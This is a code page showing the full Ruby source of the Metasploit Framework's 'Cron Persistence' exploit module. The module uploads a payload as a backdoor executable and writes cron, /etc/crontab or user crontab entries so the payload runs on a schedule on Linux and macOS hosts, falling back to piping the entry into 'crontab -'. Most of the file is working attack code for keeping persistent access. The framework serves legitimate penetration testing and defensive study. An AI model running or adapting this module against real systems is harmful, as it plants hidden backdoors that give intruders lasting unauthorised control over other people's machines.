Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/persistence/cron.rb
32351 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::EXE # for generate_payload_exe
12
include Msf::Exploit::FileDropper
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
include Msf::Exploit::Deprecated
16
moved_from 'exploits/linux/local/cron_persistence'
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Cron Persistence',
23
'Description' => %q{
24
This module will create a cron or crontab entry to execute a payload.
25
The module includes the ability to automatically clean up those entries to prevent multiple executions.
26
syslog will get a copy of the cron entry.
27
Verified on Ubuntu 22.04.1, MacOS 13.7.4
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'h00die <[email protected]>'
32
],
33
'Platform' => ['unix', 'linux', 'osx'],
34
'Targets' => [
35
[ 'Cron', { path: '/etc/cron.d' } ],
36
[ 'User Crontab', { path: '/var/spool/cron/crontabs' } ],
37
[ 'OSX User Crontab', { path: '/var/at/tabs/' } ],
38
[ 'System Crontab', { path: '/etc/crontab' } ]
39
],
40
'DefaultTarget' => 1,
41
'Arch' => [
42
ARCH_CMD,
43
ARCH_X86,
44
ARCH_X64,
45
ARCH_ARMLE,
46
ARCH_AARCH64,
47
ARCH_PPC,
48
ARCH_MIPSLE,
49
ARCH_MIPSBE
50
],
51
'SessionTypes' => [ 'shell', 'meterpreter' ],
52
'DisclosureDate' => '1979-07-01', # Version 7 Unix release date (first cron implementation)
53
'References' => [
54
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
55
['ATT&CK', Mitre::Attack::Technique::T1053_003_CRON]
56
],
57
'Notes' => {
58
'Stability' => [CRASH_SAFE],
59
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
60
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
61
}
62
)
63
)
64
65
register_options(
66
[
67
OptString.new('USER', [false, 'User to run cron/crontab as', ''], conditions: ['Targets', 'in', ['User Crontab', 'OSX User Crontab']]),
68
OptString.new('TIMING', [false, 'Cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
69
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
70
]
71
)
72
end
73
74
def check
75
# https://gist.github.com/istvanp/310203 for cron regex validator
76
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
77
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
78
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
79
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
80
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
81
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
82
83
return CheckCode::Unknown('Invalid timing format') unless datastore['TIMING'] =~ /#{cron_regex}/
84
85
return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path])
86
# it may not be directly writable, but we can use crontab to write it for us
87
if !writable?(target.opts[:path]) && !command_exists?('crontab')
88
return CheckCode::Safe("Can't write to: #{target.opts[:path]} or crontab not found")
89
end
90
91
if target.name == 'User Crontab' && !user_cron_permission?(target_user)
92
return CheckCode::Unknown('User denied cron via cron.deny')
93
end
94
95
CheckCode::Appears('Cron timing is valid, no cron.deny entries found')
96
end
97
98
def target_user
99
return datastore['USER'] unless datastore['USER'].blank?
100
101
whoami
102
end
103
104
def user_cron_permission?(user)
105
# double check we're allowed to do cron
106
# may also be /etc/cron.d/
107
paths = ['/etc/', '/etc/cron.d/']
108
paths.each do |path|
109
if readable?("#{path}cron.allow")
110
cron_auth = read_file("#{path}cron.allow")
111
if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/)
112
vprint_good("User located in #{path}cron.allow")
113
return true
114
end
115
end
116
next unless readable?("#{path}cron.deny")
117
118
cron_auths = read_file("#{path}cron.deny")
119
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
120
vprint_error("User located in #{path}cron.deny")
121
return false
122
end
123
end
124
# no guidance, so we should be fine
125
true
126
end
127
128
def install_persistence
129
cron_entry = datastore['TIMING']
130
cron_entry += " #{target_user}" unless ['User Crontab', 'OSX User Crontab'].include?(target.name)
131
if payload.arch.first == 'cmd'
132
payload_info['BadChars'] = "#%\x10\x13"
133
cron_entry += " #{regenerate_payload.encoded}"
134
payload_info.delete('BadChars')
135
else
136
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
137
backdoor = "#{writable_dir}/#{file_name}"
138
vprint_status("Writing backdoor to #{backdoor}")
139
upload_and_chmodx backdoor, generate_payload_exe
140
cron_entry += " #{backdoor}"
141
end
142
143
case target.name
144
when 'Cron'
145
our_entry = Rex::Text.rand_text_alpha(8..15)
146
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
147
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
148
@clean_up_rc << "rm #{target.opts[:path]}/#{our_entry}\n"
149
150
when 'System Crontab'
151
file_to_clean = target.opts[:path].to_s
152
crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup')
153
154
append_file(file_to_clean, "\n#{cron_entry}\n")
155
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
156
@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"
157
158
when 'User Crontab', 'OSX User Crontab'
159
path = target.opts[:path]
160
if !writable?(path)
161
print_status("Utilizing crontab since we can't write to #{path}")
162
cmd_exec("echo \"#{cron_entry}\" | crontab -")
163
else
164
file_to_clean = "#{path}/#{target_user}"
165
166
crontab_backup = store_crontab_backup(file_to_clean, 'user crontab backup')
167
append_file(file_to_clean, "\n#{cron_entry}\n")
168
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
169
# at least on ubuntu, we need to reload cron to get this to work
170
vprint_status('Reloading cron to pickup new entry')
171
172
cmd_exec('service cron reload') if target.name == 'User Crontab'
173
@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"
174
end
175
end
176
print_good('Payload will be triggered when cron time is reached')
177
end
178
179
def store_crontab_backup(path, desc)
180
crontab_backup_content = read_file(path)
181
location = store_loot("crontab.#{path.split('/').last}",
182
'text/plain', session, crontab_backup_content,
183
path.split('/').last, desc)
184
vprint_good("Backed up #{path} to #{location}")
185
location
186
end
187
end
188
189